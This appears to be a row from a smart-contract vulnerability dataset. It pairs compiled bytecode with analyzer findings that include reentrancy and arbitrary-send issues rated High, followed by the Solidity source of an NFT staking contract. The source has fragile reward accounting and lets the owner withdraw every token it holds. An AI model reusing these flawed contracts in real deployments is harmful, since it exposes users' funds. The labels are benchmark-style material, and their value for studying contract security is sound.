fffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b9190505550611c2042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506005600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209787e33e4c7a83f9a9038d9c31730ba064cb8a27e88a93a5c0460adf54ce708d64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,246 |
0xa4064fec6d2e3ba5ea6c11980d339bb78f40ffba
|
/**
*Submitted for verification at BscScan.com on 2022-02-19
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function burnbyContract(uint256 _amount) external;
function withdrawStakingReward(address _address,uint256 _amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://eips.ethereum.org/EIPS/eip-20
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
interface IERC721 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
contract Ownable {
address public _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/EDM.sol
contract SYAC_NFT_Staking is Ownable{
//-----------------------------------------
//Variables
using SafeMath for uint256;
IERC721 NFTToken;
IERC20 token;
//-----------------------------------------
//Structs
struct userInfo
{
uint256 totlaWithdrawn;
uint256 withdrawable;
uint256 availableToWithdraw;
}
struct Stake {
uint24 tokenId;
uint48 timestamp;
address owner;
}
//-----------------------------------------
//Mappings
mapping(address => mapping(uint256 => uint256)) public stakingTime;
mapping(address => userInfo ) public User;
mapping(uint256=>bool) public alreadyAwarded;
mapping(address=>mapping(uint256=>uint256)) public depositTime;
mapping(uint256=>Stake) public vault;
uint256 time= 1 days;
uint256 public totalSupply=3981;
uint256 lockingtime= 1 days;
uint256 public firstReward =300 ether;
//-----------------------------------------
//constructor
constructor(IERC721 _NFTToken,IERC20 _token)
{
NFTToken =_NFTToken;
token=_token;
}
function balanceOf(address account) public view returns (uint256) {
uint256 balance = 0;
uint256 supply =totalSupply;
for(uint i = 1; i <= supply; i++) {
if (vault[i].owner == account) {
balance += 1;
}
}
return balance;
}
function userStakedNFT(address account) public view returns (uint256[] memory ownerTokens) {
uint256 supply=totalSupply;
uint256[] memory tmp = new uint256[](supply);
uint256 index = 0;
for(uint tokenId = 1; tokenId <= supply; tokenId++) {
if (vault[tokenId].owner == account) {
tmp[index] = vault[tokenId].tokenId;
index +=1;
}
}
uint256[] memory tokens = new uint256[](index);
for(uint i = 0; i < index; i++) {
tokens[i] = tmp[i];
}
return tokens;
}
//-----------------------------------------
//Stake NFTS to earn Reward in coca coin
function stake(uint256[] calldata tokenIds) external
{
uint256 tokenId;
for(uint256 i=0;i<tokenIds.length;i++){
tokenId = tokenIds[i];
require(NFTToken.ownerOf(tokenId) == msg.sender,"nft not found");
NFTToken.transferFrom(msg.sender,address(this),tokenId);
vault[tokenId] = Stake({
owner: msg.sender,
tokenId: uint24(tokenId),
timestamp: uint48(block.timestamp)
});
if(!alreadyAwarded[tokenId])depositTime[msg.sender][tokenId]=block.timestamp;
}
}
//-----------------------------------------
//check your Reward By this function
function rewardOfUser(address Add) public view returns(uint256)
{
uint256 RewardToken;
uint256[] memory AllStakedNft=userStakedNFT(Add);
for(uint256 i = 0 ; i < AllStakedNft.length ; i++){
if((block.timestamp>depositTime[Add][AllStakedNft[i]]+lockingtime)&&!alreadyAwarded[AllStakedNft[i]]){
RewardToken+=firstReward;
}
RewardToken += (((block.timestamp - (vault[AllStakedNft[i]].timestamp)).div(time)))*15 ether;
}
return RewardToken+User[Add].availableToWithdraw;
}
//-----------------------------------------
//Withdraw your reward
function WithdrawReward() public
{
uint256 reward = rewardOfUser(msg.sender);
uint256[] memory allStakedNft=userStakedNFT(msg.sender);
require(reward > 0,"you don't have reward yet!");
require(token.balanceOf(address(token))>=reward,"Contract Don't have enough tokens to give reward");
token.withdrawStakingReward(msg.sender,reward);
for(uint8 i=0;i<allStakedNft.length;i++){
vault[allStakedNft[i]].timestamp=uint48(block.timestamp);
alreadyAwarded[allStakedNft[i]]=true;
}
User[msg.sender].totlaWithdrawn += reward;
User[msg.sender].availableToWithdraw = 0;
}
//-----------------------------------------
//User have to pass tokenID to unstake token
function unstake(uint256[] memory _tokenId) external
{
User[msg.sender].availableToWithdraw+=rewardOfUser(msg.sender);
uint256 tokenId;
for(uint256 i=0;i<_tokenId.length;i++){
tokenId=_tokenId[i];
if(rewardOfUser(msg.sender)>0)alreadyAwarded[_tokenId[i]]=true;
Stake memory staked = vault[tokenId];
require(staked.owner == msg.sender, "not an owner");
NFTToken.transferFrom(address(this),msg.sender,tokenId);
vault[tokenId].timestamp=0;
delete vault[tokenId];
}
}
function isStaked(address _stakeHolder)public view returns(bool){
if(userStakedNFT(_stakeHolder).length>0){
return true;
}else{
return false;
}
}
function totalStaked(address _stakeHolder)public view returns(uint256){
return userStakedNFT(_stakeHolder).length;
}
//-----------------------------------------
//Only Owner
function WithdrawToken()public onlyOwner{
require(token.transfer(msg.sender,token.balanceOf(address(this))),"Token transfer Error!");
}
function changeFirstReward(uint256 _reward)external onlyOwner{
firstReward=_reward;
}
function setTotalSupply(uint256 _totalSupply)external onlyOwner{
totalSupply=_totalSupply;
}
}
|
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806379932475116100b8578063b2bdfa7b1161007c578063b2bdfa7b1461038c578063c241f397146103aa578063e449f341146103da578063f2450ece146103f6578063f2fde38b14610400578063f7ea7a3d1461041c57610137565b806379932475146102ac57806381a36fb6146102dc5780638da5cb5b1461030e57806397e17cd71461032c5780639bfd8d611461035c57610137565b806340376ba2116100ff57806340376ba2146101d057806352cac94d146102005780636177fd181461021c57806361f9181f1461024c57806370a082311461027c57610137565b80630fbf0a931461013c57806318160ddd14610158578063230eb9c6146101765780632c07f74f146101a85780632e23dc8f146101b2575b600080fd5b61015660048036038101906101519190611bac565b610438565b005b61016061078f565b60405161016d919061205d565b60405180910390f35b610190600480360381019061018b9190611b12565b610795565b60405161019f93929190612078565b60405180910390f35b6101b06107bf565b005b6101ba610b21565b6040516101c7919061205d565b60405180910390f35b6101ea60048036038101906101e59190611b12565b610b27565b6040516101f79190611f09565b60405180910390f35b61021a60048036038101906102159190611c6f565b610d16565b005b61023660048036038101906102319190611b12565b610dae565b6040516102439190611f2b565b60405180910390f35b61026660048036038101906102619190611b6c565b610dd4565b604051610273919061205d565b60405180910390f35b61029660048036038101906102919190611b12565b610df9565b6040516102a3919061205d565b60405180910390f35b6102c660048036038101906102c19190611c6f565b610ead565b6040516102d39190611f2b565b60405180910390f35b6102f660048036038101906102f19190611c6f565b610ecd565b60405161030593929190612026565b60405180910390f35b610316610f38565b6040516103239190611e8e565b60405180910390f35b61034660048036038101906103419190611b12565b610f61565b604051610353919061205d565b60405180910390f35b61037660048036038101906103719190611b12565b611146565b604051610383919061205d565b60405180910390f35b610394611159565b6040516103a19190611e8e565b60405180910390f35b6103c460048036038101906103bf9190611b6c565b61117d565b6040516103d1919061205d565b60405180910390f35b6103f460048036038101906103ef9190611bf9565b6111a2565b005b6103fe611512565b005b61041a60048036038101906104159190611b12565b61173a565b005b61043660048036038101906104319190611c6f565b6118f5565b005b600080600090505b838390508110156107895783838281811061045e5761045d6123d7565b5b9050602002013591503373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e846040518263ffffffff1660e01b81526004016104d9919061205d565b60206040518083038186803b1580156104f157600080fd5b505afa158015610505573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105299190611b3f565b73ffffffffffffffffffffffffffffffffffffffff161461057f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057690611f86565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffff